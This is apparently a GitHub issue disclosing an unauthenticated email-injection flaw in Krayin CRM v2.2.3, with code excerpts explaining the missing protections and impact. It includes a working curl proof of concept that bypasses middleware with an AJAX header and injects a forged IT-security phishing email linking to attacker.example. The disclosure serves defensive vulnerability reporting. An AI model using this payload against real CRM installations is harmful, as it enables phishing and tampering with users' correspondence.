Skip to content

Unauthenticated Email Injection via /admin/mail/inbound-parse #2560

Description

@geo-chen

Summary

The /admin/mail/inbound-parse endpoint is accessible without authentication because it is
explicitly removed from CSRF protection in bootstrap/app.php and strips the user (Bouncer)
middleware. An attacker on the network can POST arbitrary raw email content to this endpoint and
inject fabricated emails directly into the CRM inbox, impersonating any sender and forging any
subject or body. The default MAIL_RECEIVER_DRIVER is sendgrid, so the injection path is
active on a fresh installation without any additional configuration.

Details

Three independent protections are absent or trivially bypassed:

1. CSRF exception - bootstrap/app.php explicitly excludes the route from CSRF verification:

// bootstrap/app.php
$middleware->validateCsrfTokens(except: [
    'admin/mail/inbound-parse',   // <- explicit exception
    'admin/web-forms/forms/*',
]);

2. Authentication stripped - The route definition in
packages/Webkul/Admin/src/Routes/Admin/mail-routes.php calls ->withoutMiddleware('user'),
removing the only authentication guard (the Bouncer middleware):

Route::post('inbound-parse', 'inboundParse')
    ->name('admin.mail.inbound_parse')
    ->withoutMiddleware('user');   // <- drops Bouncer auth check

3. SanitizeUrl middleware bypass - The only remaining middleware on the route is
sanitize_url. Its handle() method short-circuits for AJAX requests before checking
the route allowlist:

// packages/Webkul/Admin/src/Http/Middleware/SanitizeUrl.php
public function handle($request, Closure $next)
{
    if ($request->ajax()) {          // <- send X-Requested-With: XMLHttpRequest to bypass
        return $next($request);
    }
    // ... abort(401) if route param not in allowlist
}

4. No Sendgrid signature verification - SendgridEmailProcessor::processMessage() accepts
the raw email POST parameter and passes it directly to the MIME parser without verifying the
X-Twilio-Email-Event-Webhook-Signature header that Sendgrid provides. Any caller can submit
arbitrary RFC 2822 email content.

5. Active by default - config/mail-receiver.php defaults to sendgrid:

'default' => env('MAIL_RECEIVER_DRIVER', 'sendgrid'),

When the request reaches EmailController::inboundParse(), the injected email is parsed by
Webkul\Email\Helpers\Parser, then stored by EmailRepository::create() with
folders: ['inbox'], where it becomes visible to every authenticated CRM user browsing the inbox.

PoC

Prerequisites: a running Krayin CRM instance (default configuration, MAIL_RECEIVER_DRIVER not
overridden). Replace http://TARGET with the base URL of the CRM.

# Step 1: Inject a fake email into the CRM inbox without any credentials
curl -s -X POST "http://TARGET/admin/mail/inbound-parse" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode 'email=From: "IT Security Team" <security@company.com>
To: <admin@company.com>
Subject: [Action Required] Immediate Password Reset
Message-ID: <injected-001@attacker.example>
Date: Sat, 13 Jun 2026 10:00:00 +0000
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8

This is a security notice. Please reset your password immediately by following
the link below: http://attacker.example/phish'

# Output (HTTP 200, empty JSON array):
# []

# Step 2: Confirm the email appeared in the CRM inbox by logging in as an admin
# and browsing to /admin/mail/inbox - the injected email is now visible in the inbox

In-process validation output (email parser correctly processes the injected content):

From addresses: ["security@company.com"]
Sender name: "IT Security Team"
Subject: "[Action Required] Immediate Password Reset"
Message-ID: "<injected-001@attacker.example>"
HTML Body: (parsed body content)

All five conditions were validated against source code of v2.2.3:

  • bootstrap/app.php line confirms CSRF exception for admin/mail/inbound-parse
  • mail-routes.php confirms withoutMiddleware('user') on the inbound-parse route
  • SanitizeUrl.php confirms AJAX short-circuit before allowlist check
  • SendgridEmailProcessor.php contains no call to any signature verification function
  • config/mail-receiver.php confirms sendgrid is the default driver

Impact

An unauthenticated external attacker can inject arbitrary emails into the CRM inbox of every
agent. The injected emails appear alongside legitimate customer correspondence and carry any
sender name, email address, subject, and body the attacker chooses. Practical exploitation
scenarios include: spear-phishing CRM users by injecting emails that appear to come from
management or IT; flooding the inbox to disrupt operations (availability impact); poisoning
conversation threads by injecting replies that match existing message-id / reference chains;
and establishing false audit trails in customer interactions. The attack requires no account,
no credential, and no prior knowledge beyond the URL of the CRM installation.

Affected Versions: confirmed on v2.2.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CWE: CWE-306 -- Missing Authentication for Critical Function

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions